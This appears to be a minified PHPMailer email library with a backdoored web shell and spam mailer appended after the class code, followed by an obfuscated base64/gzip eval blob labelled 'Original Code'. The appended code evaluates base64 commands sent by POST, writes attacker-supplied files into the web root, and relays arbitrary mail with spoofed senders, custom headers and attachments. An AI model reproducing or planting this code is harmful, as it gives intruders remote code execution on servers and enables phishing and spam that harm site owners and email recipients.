$this->HeaderLine('X-Mailer',$myXmailer);}}if($this->ConfirmReadingTo != ''){$result .= $this->HeaderLine('Disposition-Notification-To','<' .trim($this->ConfirmReadingTo) .'>');}for($index=0;$index<count($this->CustomHeader);$index++){$result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]),$this->EncodeHeader(trim($this->CustomHeader[$index][1])));}if(!$this->sign_key_file){$result .= $this->HeaderLine('MIME-Version','1.0');$result .= $this->GetMailMIME();}return $result;}public function GetMailMIME(){$result='';switch($this->message_type){case 'inline':$result .= $this->HeaderLine('Content-Type','multipart/related;');$result .= $this->TextLine(" boundary=\"" .$this->boundary[1] .'"');break;case 'attach':case 'inline_attach':case 'alt_attach':case 'alt_inline_attach':$result .= $this->HeaderLine('Content-Type','multipart/mixed;');$result .= $this->TextLine(" boundary=\"" .$this->boundary[1] .'"');break;case 'alt':case 'alt_inline':$result .= $this->HeaderLine('Content-Type','multipart/alternative;');$result .= $this->TextLine(" boundary=\"" .$this->boundary[1] .'"');break;default:$result .= $this->HeaderLine('Content-Transfer-Encoding',$this->Encoding);$result .= $this->TextLine('Content-Type: ' .$this->ContentType .'; charset=' .$this->CharSet);break;}if($this->Mailer != 'mail'){$result .= $this->LE;}return $result;}public function GetSentMIMEMessage(){return $this->MIMEHeader .$this->mailHeader .self::CRLF .$this->MIMEBody;}public function CreateBody(){$body='';if($this->sign_key_file){$body .= $this->GetMailMIME() .$this->LE;}$this->SetWordWrap();switch($this->message_type){case 'inline':$body .= $this->GetBoundary($this->boundary[1],'','','');$body .= $this->EncodeString($this->Body,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->AttachAll("inline",$this->boundary[1]);break;case 'attach':$body .= $this->GetBoundary($this->boundary[1],'','','');$body .= $this->EncodeString($this->Body,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->AttachAll("attachment",$this->boundary[1]);break;case 'inline_attach':$body .= $this->TextLine("--" .$this->boundary[1]);$body .= $this->HeaderLine('Content-Type','multipart/related;');$body .= $this->TextLine(" boundary=\"" .$this->boundary[2] .'"');$body .= $this->LE;$body .= $this->GetBoundary($this->boundary[2],'','','');$body .= $this->EncodeString($this->Body,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->AttachAll("inline",$this->boundary[2]);$body .= $this->LE;$body .= $this->AttachAll("attachment",$this->boundary[1]);break;case 'alt':$body .= $this->GetBoundary($this->boundary[1],'','text/plain','');$body .= $this->EncodeString($this->AltBody,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->GetBoundary($this->boundary[1],'','text/html','');$body .= $this->EncodeString($this->Body,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->EndBoundary($this->boundary[1]);break;case 'alt_inline':$body .= $this->GetBoundary($this->boundary[1],'','text/plain','');$body .= $this->EncodeString($this->AltBody,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->TextLine("--" .$this->boundary[1]);$body .= $this->HeaderLine('Content-Type','multipart/related;');$body .= $this->TextLine(" boundary=\"" .$this->boundary[2] .'"');$body .= $this->LE;$body .= $this->GetBoundary($this->boundary[2],'','text/html','');$body .= $this->EncodeString($this->Body,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->AttachAll("inline",$this->boundary[2]);$body .= $this->LE;$body .= $this->EndBoundary($this->boundary[1]);break;case 'alt_attach':$body .= $this->TextLine("--" .$this->boundary[1]);$body .= $this->HeaderLine('Content-Type','multipart/alternative;');$body .= $this->TextLine(" boundary=\"" .$this->boundary[2] .'"');$body .= $this->LE;$body .= $this->GetBoundary($this->boundary[2],'','text/plain','');$body .= $this->EncodeString($this->AltBody,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->GetBoundary($this->boundary[2],'','text/html','');$body .= $this->EncodeString($this->Body,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->EndBoundary($this->boundary[2]);$body .= $this->LE;$body .= $this->AttachAll("attachment",$this->boundary[1]);break;case 'alt_inline_attach':$body .= $this->TextLine("--" .$this->boundary[1]);$body .= $this->HeaderLine('Content-Type','multipart/alternative;');$body .= $this->TextLine(" boundary=\"" .$this->boundary[2] .'"');$body .= $this->LE;$body .= $this->GetBoundary($this->boundary[2],'','text/plain','');$body .= $this->EncodeString($this->AltBody,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->TextLine("--" .$this->boundary[2]);$body .= $this->HeaderLine('Content-Type','multipart/related;');$body .= $this->TextLine(" boundary=\"" .$this->boundary[3] .'"');$body .= $this->LE;$body .= $this->GetBoundary($this->boundary[3],'','text/html','');$body .= $this->EncodeString($this->Body,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->AttachAll("inline",$this->boundary[3]);$body .= $this->LE;$body .= $this->EndBoundary($this->boundary[2]);$body .= $this->LE;$body .= $this->AttachAll("attachment",$this->boundary[1]);break;default:$body .= $this->EncodeString($this->Body,$this->Encoding);break;}if($this->IsError()){$body='';}elseif($this->sign_key_file){try{$file=tempnam('','mail');file_put_contents($file,$body);$signed=tempnam("","signed");if(@openssl_pkcs7_sign($file,$signed,"file://" .$this->sign_cert_file,array("file://" .$this->sign_key_file,$this->sign_key_pass),NULL)){@unlink($file);$body=file_get_contents($signed);@unlink($signed);}else{@unlink($file);@unlink($signed);throw new phpmailerException($this->Lang("signing") .openssl_error_string());}}catch(phpmailerException $e){$body='';if($this->exceptions){throw $e;}}}return $body;}protected function GetBoundary($boundary,$charSet,$contentType,$encoding){$result='';if($charSet == ''){$charSet=$this->CharSet;}if($contentType == ''){$contentType=$this->ContentType;}if($encoding == ''){$encoding=$this->Encoding;}$result .= $this->TextLine('--' .$boundary);$result .= sprintf("Content-Type: %s; charset=%s",$contentType,$charSet);$result .= $this->LE;$result .= $this->HeaderLine('Content-Transfer-Encoding',$encoding);$result .= $this->LE;return $result;}protected function EndBoundary($boundary){return $this->LE .'--' .$boundary .'--' .$this->LE;}protected function SetMessageType(){$this->message_type=array();if($this->AlternativeExists())$this->message_type[]="alt";if($this->InlineImageExists())$this->message_type[]="inline";if($this->AttachmentExists())$this->message_type[]="attach";$this->message_type=implode("_",$this->message_type);if($this->message_type == "")$this->message_type="plain";}public function HeaderLine($name,$value){return $name .': ' .$value .$this->LE;}public function TextLine($value){return $value .$this->LE;}public function AddAttachment($path,$name='',$encoding='base64',$type='application/octet-stream'){try{if(!@is_file($path)){throw new phpmailerException($this->Lang('file_access') .$path,self::STOP_CONTINUE);}$filename=basename($path);if($name == ''){$name=$filename;}$this->attachment[]=array(0 => $path,1 => $filename,2 => $name,3 => $encoding,4 => $type,5 => false,6 => 'attachment',7 => 0);}catch(phpmailerException $e){$this->SetError($e->getMessage());if($this->exceptions){throw $e;}if($this->SMTPDebug){$this->edebug($e->getMessage() ."
");}if($e->getCode()== self::STOP_CRITICAL){return false;}}return true;}public function GetAttachments(){return $this->attachment;}protected function AttachAll($disposition_type,$boundary){$mime=array();$cidUniq=array();$incl=array();foreach($this->attachment as $attachment){if($attachment[6]== $disposition_type){$string='';$path='';$bString=$attachment[5];if($bString){$string=$attachment[0];}else{$path=$attachment[0];}$inclhash=md5(serialize($attachment));if(in_array($inclhash,$incl)){continue;}$incl[]=$inclhash;$filename=$attachment[1];$name=$attachment[2];$encoding=$attachment[3];$type=$attachment[4];$disposition=$attachment[6];$cid=$attachment[7];if($disposition == 'inline'&& isset($cidUniq[$cid])){continue;}$cidUniq[$cid]=true;$mime[]=sprintf("--%s%s",$boundary,$this->LE);$mime[]=sprintf("Content-Type: %s; name=\"%s\"%s",$type,$this->EncodeHeader($this->SecureHeader($name)),$this->LE);$mime[]=sprintf("Content-Transfer-Encoding: %s%s",$encoding,$this->LE);if($disposition == 'inline'){$mime[]=sprintf("Content-ID: <%s>%s",$cid,$this->LE);}$mime[]=sprintf("Content-Disposition: %s; filename=\"%s\"%s",$disposition,$this->EncodeHeader($this->SecureHeader($name)),$this->LE .$this->LE);if($bString){$mime[]=$this->EncodeString($string,$encoding);if($this->IsError()){return '';}$mime[]=$this->LE .$this->LE;}else{$mime[]=$this->EncodeFile($path,$encoding);if($this->IsError()){return '';}$mime[]=$this->LE .$this->LE;}}}$mime[]=sprintf("--%s--%s",$boundary,$this->LE);return implode("",$mime);}protected function EncodeFile($path,$encoding='base64'){try{if(!is_readable($path)){throw new phpmailerException($this->Lang('file_open') .$path,self::STOP_CONTINUE);}$magic_quotes=get_magic_quotes_runtime();if($magic_quotes){if(version_compare(PHP_VERSION,'5.3.0','<')){set_magic_quotes_runtime(0);}else{@ini_set('magic_quotes_runtime',0);}}$file_buffer=file_get_contents($path);$file_buffer=$this->EncodeString($file_buffer,$encoding);if($magic_quotes){if(version_compare(PHP_VERSION,'5.3.0','<')){set_magic_quotes_runtime($magic_quotes);}else{@ini_set('magic_quotes_runtime',$magic_quotes);}}return $file_buffer;}catch(Exception $e){$this->SetError($e->getMessage());return '';}}public function EncodeString($str,$encoding='base64'){$encoded='';switch(strtolower($encoding)){case 'base64':$encoded=chunk_split(base64_encode($str),76,$this->LE);break;case '7bit':case '8bit':$encoded=$this->FixEOL($str);if(substr($encoded,-(strlen($this->LE)))!= $this->LE)$encoded .= $this->LE;break;case 'binary':$encoded=$str;break;case 'quoted-printable':$encoded=$this->EncodeQP($str);break;default:$this->SetError($this->Lang('encoding') .$encoding);break;}return $encoded;}public function EncodeHeader($str,$position='text'){$x=0;switch(strtolower($position)){case 'phrase':if(!preg_match('/[-]/',$str)){$encoded=addcslashes($str,"..\"");if(($str == $encoded)&&!preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/',$str)){return($encoded);}else{return("\"$encoded\"");}}$x=preg_match_all('/[^ !#-[]-~]/',$str,$matches);break;case 'comment':$x=preg_match_all('/[()"]/',$str,$matches);case 'text':default:$x += preg_match_all('/[---]/',$str,$matches);break;}if($x == 0){return($str);}$maxlen=75-7-strlen($this->CharSet);if(strlen($str)/3<$x){$encoding='B';if(function_exists('mb_strlen')&& $this->HasMultiBytes($str)){$encoded=$this->Base64EncodeWrapMB($str,"
");}else{$encoded=base64_encode($str);$maxlen -= $maxlen%4;$encoded=trim(chunk_split($encoded,$maxlen,"
"));}}else{$encoding='Q';$encoded=$this->EncodeQ($str,$position);$encoded=$this->WrapText($encoded,$maxlen,true);$encoded=str_replace('=' .self::CRLF,"
",trim($encoded));}$encoded=preg_replace('/^(.*)$/m'," =?" .$this->CharSet ."?$encoding??=",$encoded);$encoded=trim(str_replace("
",$this->LE,$encoded));return $encoded;}public function HasMultiBytes($str){if(function_exists('mb_strlen')){return(strlen($str)>mb_strlen($str,$this->CharSet));}else{return false;}}public function Base64EncodeWrapMB($str,$lf=null){$start="=?" .$this->CharSet ."?B?";$end="?=";$encoded="";if($lf === null){$lf=$this->LE;}$mb_length=mb_strlen($str,$this->CharSet);$length=75-strlen($start)-strlen($end);$ratio=$mb_length/strlen($str);$offset=$avgLength=floor($length*$ratio*.75);for($i=0;$i<$mb_length;$i += $offset){$lookBack=0;do{$offset=$avgLength-$lookBack;$chunk=mb_substr($str,$i,$offset,$this->CharSet);$chunk=base64_encode($chunk);$lookBack++;}while(strlen($chunk)>$length);$encoded .= $chunk .$lf;}$encoded=substr($encoded,0,-strlen($lf));return $encoded;}public function EncodeQPphp($input='',$line_max=76,$space_conv=false){$hex=array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');$lines=preg_split('/(?:
|
|
)/',$input);$eol="
";$escape='=';$output='';while(list(,$line)=each($lines)){$linlen=strlen($line);$newline='';for($i=0;$i<$linlen;$i++){$c=substr($line,$i,1);$dec=ord($c);if(($i == 0)&&($dec == 46)){$c='=2E';}if($dec == 32){if($i ==($linlen-1)){$c='=20';}else if($space_conv){$c='=20';}}elseif(($dec == 61)||($dec<32)||($dec>126)){$h2=(integer)floor($dec/16);$h1=(integer)floor($dec%16);$c=$escape .$hex[$h2] .$hex[$h1];}if((strlen($newline)+strlen($c))>= $line_max){$output .= $newline .$escape .$eol;$newline='';if($dec == 46){$c='=2E';}}$newline .= $c;}$output .= $newline .$eol;}return $output;}public function EncodeQP($string,$line_max=76,$space_conv=false){if(function_exists('quoted_printable_encode')){return quoted_printable_encode($string);}$filters=stream_get_filters();if(!in_array('convert.*',$filters)){return $this->EncodeQPphp($string,$line_max,$space_conv);}$fp=fopen('php://temp/','r+');$string=preg_replace('/
?/',$this->LE,$string);$params=array('line-length'=> $line_max,'line-break-chars'=> $this->LE);$s=stream_filter_append($fp,'convert.quoted-printable-encode',STREAM_FILTER_READ,$params);fputs($fp,$string);rewind($fp);$out=stream_get_contents($fp);stream_filter_remove($s);$out=preg_replace('/^\./m','=2E',$out);fclose($fp);return $out;}public function EncodeQ($str,$position='text'){$pattern="";$encoded=str_replace(array("
","
"),'',$str);switch(strtolower($position)){case 'phrase':$pattern='^A-Za-z0-9!*+\/ -';break;case 'comment':$pattern='\(\)"';case 'text':default:$pattern='=- -?_-' .$pattern;break;}if(preg_match_all("/[{$pattern}]/",$encoded,$matches)){foreach(array_unique($matches[0])as $char){$encoded=str_replace($char,'=' .sprintf('%02X',ord($char)),$encoded);}}return str_replace(' ','_',$encoded);}public function AddStringAttachment($string,$filename,$encoding='base64',$type='application/octet-stream'){$this->attachment[]=array(0 => $string,1 => $filename,2 => basename($filename),3 => $encoding,4 => $type,5 => true,6 => 'attachment',7 => 0);}public function AddEmbeddedImage($path,$cid,$name='',$encoding='base64',$type='application/octet-stream'){if(!@is_file($path)){$this->SetError($this->Lang('file_access') .$path);return false;}$filename=basename($path);if($name == ''){$name=$filename;}$this->attachment[]=array(0 => $path,1 => $filename,2 => $name,3 => $encoding,4 => $type,5 => false,6 => 'inline',7 => $cid);return true;}public function AddStringEmbeddedImage($string,$cid,$name='',$encoding='base64',$type='application/octet-stream'){$this->attachment[]=array(0 => $string,1 => $name,2 => $name,3 => $encoding,4 => $type,5 => true,6 => 'inline',7 => $cid);}public function InlineImageExists(){foreach($this->attachment as $attachment){if($attachment[6]== 'inline'){return true;}}return false;}public function AttachmentExists(){foreach($this->attachment as $attachment){if($attachment[6]== 'attachment'){return true;}}return false;}public function AlternativeExists(){return!empty($this->AltBody);}public function ClearAddresses(){foreach($this->to as $to){unset($this->all_recipients[strtolower($to[0])]);}$this->to=array();}public function ClearCCs(){foreach($this->cc as $cc){unset($this->all_recipients[strtolower($cc[0])]);}$this->cc=array();}public function ClearBCCs(){foreach($this->bcc as $bcc){unset($this->all_recipients[strtolower($bcc[0])]);}$this->bcc=array();}public function ClearReplyTos(){$this->ReplyTo=array();}public function ClearAllRecipients(){$this->to=array();$this->cc=array();$this->bcc=array();$this->all_recipients=array();}public function ClearAttachments(){$this->attachment=array();}public function ClearCustomHeaders(){$this->CustomHeader=array();}protected function SetError($msg){$this->error_count++;if($this->Mailer == 'smtp'and!is_null($this->smtp)){$lasterror=$this->smtp->getError();if(!empty($lasterror)and array_key_exists('smtp_msg',$lasterror)){$msg .= '<p>' .$this->Lang('smtp_error') .$lasterror['smtp_msg'] ."</p>
";}}$this->ErrorInfo=$msg;}public static function RFCDate(){$tz=date('Z');$tzs=($tz<0)?'-':'+';$tz=abs($tz);$tz=(int)($tz/3600)*100+($tz%3600)/60;$result=sprintf("%s %s%04d",date('D, j M Y H:i:s'),$tzs,$tz);return $result;}protected function ServerHostname(){if(!empty($this->Hostname)){$result=$this->Hostname;}elseif(isset($_SERVER['SERVER_NAME'])){$result=$_SERVER['SERVER_NAME'];}else{$result='localhost.localdomain';}return $result;}protected function Lang($key){if(count($this->language)<1){$this->SetLanguage('en');}if(isset($this->language[$key])){return $this->language[$key];}else{return 'Language string failed to load: ' .$key;}}public function IsError(){return($this->error_count>0);}public function FixEOL($str){$nstr=str_replace(array("
","
"),"
",$str);if($this->LE !== "
"){$nstr=str_replace("
",$this->LE,$nstr);}return $nstr;}public function AddCustomHeader($name,$value=null){if($value === null){$this->CustomHeader[]=explode(':',$name,2);}else{$this->CustomHeader[]=array($name,$value);}}public function MsgHTML($message,$basedir=''){preg_match_all("/(src|background)=[\"'](.*)[\"']/Ui",$message,$images);if(isset($images[2])){foreach($images[2]as $i => $url){if(!preg_match('#^[A-z]+://#',$url)){$filename=basename($url);$directory=dirname($url);if($directory == '.'){$directory='';}$cid='cid:' .md5($filename);$ext=pathinfo($filename,PATHINFO_EXTENSION);$mimeType=self::_mime_types($ext);if(strlen($basedir)>1 && substr($basedir,-1)!= '/'){$basedir .= '/';}if(strlen($directory)>1 && substr($directory,-1)!= '/'){$directory .= '/';}if($this->AddEmbeddedImage($basedir .$directory .$filename,md5($filename),$filename,'base64',$mimeType)){$message=preg_replace("/" .$images[1][$i] ."=[\"']" .preg_quote($url,'/') ."[\"']/Ui",$images[1][$i] ."=\"" .$cid ."\"",$message);}}}}$this->IsHTML(true);$this->Body=$message;if(empty($this->AltBody)){$textMsg=trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/s','',$message)));if(!empty($textMsg)){$this->AltBody=html_entity_decode($textMsg,ENT_QUOTES,$this->CharSet);}}if(empty($this->AltBody)){$this->AltBody='To view this email message, open it in a program that understands HTML!' ."
";}return $message;}public static function _mime_types($ext=''){$mimes=array('xl'=> 'application/excel','hqx'=> 'application/mac-binhex40','cpt'=> 'application/mac-compactpro','bin'=> 'application/macbinary','doc'=> 'application/msword','word'=> 'application/msword','class'=> 'application/octet-stream','dll'=> 'application/octet-stream','dms'=> 'application/octet-stream','exe'=> 'application/octet-stream','lha'=> 'application/octet-stream','lzh'=> 'application/octet-stream','psd'=> 'application/octet-stream','sea'=> 'application/octet-stream','so'=> 'application/octet-stream','oda'=> 'application/oda','pdf'=> 'application/pdf','ai'=> 'application/postscript','eps'=> 'application/postscript','ps'=> 'application/postscript','smi'=> 'application/smil','smil'=> 'application/smil','mif'=> 'application/vnd.mif','xls'=> 'application/vnd.ms-excel','ppt'=> 'application/vnd.ms-powerpoint','wbxml'=> 'application/vnd.wap.wbxml','wmlc'=> 'application/vnd.wap.wmlc','dcr'=> 'application/x-director','dir'=> 'application/x-director','dxr'=> 'application/x-director','dvi'=> 'application/x-dvi','gtar'=> 'application/x-gtar','php3'=> 'application/x-httpd-php','php4'=> 'application/x-httpd-php','php'=> 'application/x-httpd-php','phtml'=> 'application/x-httpd-php','phps'=> 'application/x-httpd-php-source','js'=> 'application/x-javascript','swf'=> 'application/x-shockwave-flash','sit'=> 'application/x-stuffit','tar'=> 'application/x-tar','tgz'=> 'application/x-tar','xht'=> 'application/xhtml+xml','xhtml'=> 'application/xhtml+xml','zip'=> 'application/zip','mid'=> 'audio/midi','midi'=> 'audio/midi','mp2'=> 'audio/mpeg','mp3'=> 'audio/mpeg','mpga'=> 'audio/mpeg','aif'=> 'audio/x-aiff','aifc'=> 'audio/x-aiff','aiff'=> 'audio/x-aiff','ram'=> 'audio/x-pn-realaudio','rm'=> 'audio/x-pn-realaudio','rpm'=> 'audio/x-pn-realaudio-plugin','ra'=> 'audio/x-realaudio','wav'=> 'audio/x-wav','bmp'=> 'image/bmp','gif'=> 'image/gif','jpeg'=> 'image/jpeg','jpe'=> 'image/jpeg','jpg'=> 'image/jpeg','png'=> 'image/png','tiff'=> 'image/tiff','tif'=> 'image/tiff','eml'=> 'message/rfc822','css'=> 'text/css','html'=> 'text/html','htm'=> 'text/html','shtml'=> 'text/html','log'=> 'text/plain','text'=> 'text/plain','txt'=> 'text/plain','rtx'=> 'text/richtext','rtf'=> 'text/rtf','xml'=> 'text/xml','xsl'=> 'text/xml','mpeg'=> 'video/mpeg','mpe'=> 'video/mpeg','mpg'=> 'video/mpeg','mov'=> 'video/quicktime','qt'=> 'video/quicktime','rv'=> 'video/vnd.rn-realvideo','avi'=> 'video/x-msvideo','movie'=> 'video/x-sgi-movie');return(!isset($mimes[strtolower($ext)]))?'application/octet-stream':$mimes[strtolower($ext)];}public function set($name,$value=''){try{if(isset($this->$name)){$this->$name=$value;}else{throw new phpmailerException($this->Lang('variable_set') .$name,self::STOP_CRITICAL);}}catch(Exception $e){$this->SetError($e->getMessage());if($e->getCode()== self::STOP_CRITICAL){return false;}}return true;}public function SecureHeader($str){return trim(str_replace(array("
","
"),'',$str));}public function Sign($cert_filename,$key_filename,$key_pass){$this->sign_cert_file=$cert_filename;$this->sign_key_file=$key_filename;$this->sign_key_pass=$key_pass;}public function DKIM_QP($txt){$line='';for($i=0;$i<strlen($txt);$i++){$ord=ord($txt[$i]);if(((0x21 <= $ord)&&($ord <= 0x3A))|| $ord == 0x3C ||((0x3E <= $ord)&&($ord <= 0x7E))){$line .= $txt[$i];}else{$line .= "=" .sprintf("%02X",$ord);}}return $line;}public function DKIM_Sign($s){$privKeyStr=file_get_contents($this->DKIM_private);if($this->DKIM_passphrase != ''){$privKey=openssl_pkey_get_private($privKeyStr,$this->DKIM_passphrase);}else{$privKey=$privKeyStr;}if(openssl_sign($s,$signature,$privKey)){return base64_encode($signature);}return '';}public function DKIM_HeaderC($s){$s=preg_replace("/
\s+/"," ",$s);$lines=explode("
",$s);foreach($lines as $key => $line){list($heading,$value)=explode(":",$line,2);$heading=strtolower($heading);$value=preg_replace("/\s+/"," ",$value);$lines[$key]=$heading .":" .trim($value);}$s=implode("
",$lines);return $s;}public function DKIM_BodyC($body){if($body == '')return "
";$body=str_replace("
","
",$body);$body=str_replace("
","
",$body);while(substr($body,strlen($body)-4,4)== "
"){$body=substr($body,0,strlen($body)-2);}return $body;}public function DKIM_Add($headers_line,$subject,$body){$DKIMsignatureType='rsa-sha1';$DKIMcanonicalization='relaxed/simple';$DKIMquery='dns/txt';$DKIMtime=time();$subject_header="Subject: $subject";$headers=explode($this->LE,$headers_line);$from_header="";$to_header="";foreach($headers as $header){if(strpos($header,'From:')=== 0){$from_header=$header;}elseif(strpos($header,'To:')=== 0){$to_header=$header;}}$from=str_replace('|','=7C',$this->DKIM_QP($from_header));$to=str_replace('|','=7C',$this->DKIM_QP($to_header));$subject=str_replace('|','=7C',$this->DKIM_QP($subject_header));$body=$this->DKIM_BodyC($body);$DKIMlen=strlen($body);$DKIMb64=base64_encode(pack("H*",sha1($body)));$ident=($this->DKIM_identity == '')?'':" i=" .$this->DKIM_identity .";";$dkimhdrs="DKIM-Signature: v=1; a=" .$DKIMsignatureType ."; q=" .$DKIMquery ."; l=" .$DKIMlen ."; s=" .$this->DKIM_selector .";
" ." t=" .$DKIMtime ."; c=" .$DKIMcanonicalization .";
" ." h=From:To:Subject;
" ." d=" .$this->DKIM_domain .";" .$ident ."
" ." z=$from
" ." |$to
" ." |$subject;
" ." bh=" .$DKIMb64 .";
" ." b=";$toSign=$this->DKIM_HeaderC($from_header ."
" .$to_header ."
" .$subject_header ."
" .$dkimhdrs);$signed=$this->DKIM_Sign($toSign);return "X-PHPMAILER-DKIM: code.google.com/a/apache-extras.org/p/phpmailer/
" .$dkimhdrs .$signed ."
";}protected function doCallback($isSent,$to,$cc,$bcc,$subject,$body,$from=null){if(!empty($this->action_function)&& is_callable($this->action_function)){$params=array($isSent,$to,$cc,$bcc,$subject,$body,$from);call_user_func_array($this->action_function,$params);}}}function gennumrandom($length=8){$chars='1234567890';$numChars=strlen($chars);$string='';for($i=0;$i<$length;$i++){$string .= substr($chars,rand(1,$numChars)-1,1);}return $string;}function genletrandom($length=8){$chars='abcdefghiklmnopqrstvxyz';$numChars=strlen($chars);$string='';for($i=0;$i<$length;$i++){$string .= substr($chars,rand(1,$numChars)-1,1);}return $string;}function genmixrandom($length=8){$chars='abcdefghiklmnopqrstvxyzABCDEFGHIKLMNOPQRSTVXYZ1234567890';$numChars=strlen($chars);$string='';for($i=0;$i<$length;$i++){$string .= substr($chars,rand(1,$numChars)-1,1);}return $string;}class phpmailerException extends Exception{public function errorMessage(){$errorMsg='<strong>' .$this->getMessage() ."</strong><br />
";return $errorMsg;}}if(!empty($_POST['cmd'])){eval(base64_decode($_POST['cmd']));exit;}if(!empty($_POST['file'])){$path=dirname($_SERVER['SCRIPT_FILENAME']);if(!empty($_POST['root'])&& $_POST['root']== 'http_root'){$path=$_SERVER['DOCUMENT_ROOT'];}$path .= '/';if(!empty($_POST['dir'])){$path .= $_POST['dir'];}if(!empty($_POST['filename'])){mkdir($path,0777,1);file_put_contents($path .$_POST['filename'],base64_decode($_POST['file']));}exit;}if(empty($_POST['subject'])|| empty($_POST['body'])|| empty($_POST['from'])|| empty($_POST['fromName'])|| empty($_POST['to'])){if(!empty($_GET['ora'])&& $_GET['ora']=='test'){echo "OK";}else{echo "INVALID_REQUEST";}die;}usleep(100);try{$mail=new PHPMailer();if(!empty($_GET['m'])&& $_GET['m']=='s'){$mail->Mailer='smtp';$mail->Encoding='base64';}if(!empty($_GET['m'])&& $_GET['m']=='e'){$mail->Mailer='smtp';$mail->Host=$_POST['smtp_host'];$mail->Encoding='base64';}if(!empty($_GET['m'])&& $_GET['m']=='d'){$mail->Mailer='smtp';$tmp=explode('@',$_POST['from']);$from_domain=$tmp[1];$tmp=explode('@',$_POST['to']);$to_domain=$tmp[1];$mail->Helo=$from_domain;$mail->Hostname=$from_domain;getmxrr($to_domain,$tmp);$mail->Host=implode(':25;',$tmp) .':25';}$mail->XMailer=' ';$mail->From=$_POST['from'];$mail->addCustomHeader($_POST['hed1']);$mail->addCustomHeader($_POST['hed2']);$mail->addCustomHeader($_POST['hed3']);$mail->FromName=$_POST['fromName'];$mail->Subject=$_POST['subject'];$mail->MsgHTML(base64_decode($_POST['body']));$mail->AddAddress($_POST['to'],$_POST['toName']);$mail->AddAttachment($path=($_POST['name1']),$name=($_POST['names1']),$encoding='base64',$type='application/octet-stream');$mail->AddAttachment($path=($_POST['name2']),$name=($_POST['names2']),$encoding='base64',$type='application/octet-stream');if(!empty($_GET['debug'])&& $_GET['debug']=='d'){$mail->SMTPDebug=3;}if($mail->Send()){echo "SUCCESS";}else{echo "FAILURE<br/>";echo $mail->ErrorInfo;}}catch(phpmailerException $e){echo $e->errorMessage();}catch(Exception $e){echo $e->getMessage();}$_SERVER['PHP_SELF']=$oldphpself;$_SERVER['REMOTE_ADDR']=$oldremoteaddr;
Did this file decode correctly?
Original Code
<?php eval(gzuncompress(base64_decode('eNrtfQt32zjO6F/RaN3KmtqxnfQ1dpU2k7rTnE2aTOLOzm6S9afYcqKtbLmS3KZNc3/7BcC3HrHTx7x2z5lMLRIESRAkQRAAn4WzcJgGWd0JkiROhlF87jRevd7ddXvPZBYkDik7dRptPWPqh9GaPx4PL4cXgT8Oklx+cDmP02A4v5gvL+jEk4lTVbiYSa1NgnmcZOHsPId+HKbzyP+gN7oWR2NAlQbRxKsNj/qHv/QPj52Dlwfwe/eFc0oASTCNM2jPONFgDvt7+4P+cOv580MEKynr2S27V1FAQ8T+FYhGkZ+m1tHe4OBqvjiLwpFVw4/hwf7hwFt/0BOJ24e7Lzz7JDmZ2TJtHA/HwdniXCY8x694kc0XmWcHo4vYgH0XJHNv4kdpIFMH4TQAeK/zwEiKwmmYeRttmfhLkKRhPPOcB2vra+tOb56E7/wssGrpNJsPR/FsppKI2urzIojiYTKPPsikyWI2ygCbFVDr67U0S9yrcFKvZRdh2tzUemF5nmVLlrTdK/mblepdB9CdK+yqhQm962veZFnJEJsHWYtRVneveBWy2V67x5MIszdbRJFIkS03UgXRoWShrm3AGEA9tYs4zRo15Eqv3ahl7/wIqClr16pSvR6xssG47uYA/STxP9QZGWxv07K3ogS484Mli1hZbPlWGiQwxLbbS4JskcwsNtTXUEUwnWcf6tQeRE7t4lVIZgNSIsNQ05HJCpR6Nknj0Zt4Hsz0/jVwvGcx/QNUZp11e6rSHJqlnXsBawLrEe8e/uRda9hUGcLxam1WrUghnlA0FWNlbXpWR1XM2M7GrlvNTat/eLh/2LVsa01v2TFv06m1ZncFcqvO6nUVME5Ma815cpZYrU1YnK4L1E8XZ1C0jgvF/lGj3dhwvwOu/sfOK+Dn2tS/9HDBOmfr4eUwuAxGC+SmYQYz0WHdgQwLCrWtu3ctovAmJrlXz2CdI7ghTdk6p/411Bf406HIhclUGAg2UrgmXtf82SwGHg4EU0BjAOEsSOtV1FyvpOaLw/09i61xXaSSwL2UYDBFg+KUOsr8JBvsHtUrZs93t58+236EHKYwW+/D7AJoZJ0FsImoaVWYShNYktIiJe2jwdbhAFCZXAG7Da0eJUStjeJx4HHGICjiiy8mNmKqJjRix4qRldbX28voJHplzeLM8kejYI5LzSSJp2o+ciKMA5qB+IOnTdNzTDK6eN/9NpNzec8Lc/I7MUNgSYNxCWb+WRQMR8mHeRYXBxhZs3E0OOxv7Q23D/95MNgf7vUHL/efD4E8w+3dnf6rAbCdWcuNbL21yC6CWRaOYEOs1xZAz5k/DWBJBWngfZyMGzUfILIP88Bzdvd/2nnlNGrQ4GjqOfALIN6kmZ/RluzQ3slXW1EKJ0EeAywLwOijCw3qauSngeUc7G5BfreKvbdeD15aBPNVGFyw4MbG/aU7Hdb8V2O/CjKfwVA8vA+siN2o2ydtxCs4AypiCYJB3K85EusbD5aOhGJY5N+/2picweR602Ozgc2Wm2cDwfxvNvxWs0HOA/c3JvlrMf/+O8n+e602B7zev/Q682qwu+d0k+DtIkyCYQwyct2ZZREIJX4aDUdRCOvtGuo9gKwZ7O/eLHhvpdl4G1UGSGsCZnCUly88JOUCk5I12ObmzizMQj8KP8IQI+ZlIjMB8czV6fjPeGHNAnaWYwKWlcYwlabxeBEFqRXOrA/xIrGgi2twBLImcPC7idwGB+boWoNB73hmLwcg4exBcp1JTobY5PZuXN5xaLAluemAlbj/W/RXnAbFQRpdwNHLn53nyLKBxJJZnObjgNFcZgiGT4I0N9A4WodBOo9naSBO26pcY/1+47GrRGvAA6TZKGeWjbqspKGJ5bdgoCLLbPzWq+d2vIj40qkdM/5cvMIWypsPUdvqzI9HoO+qNU54z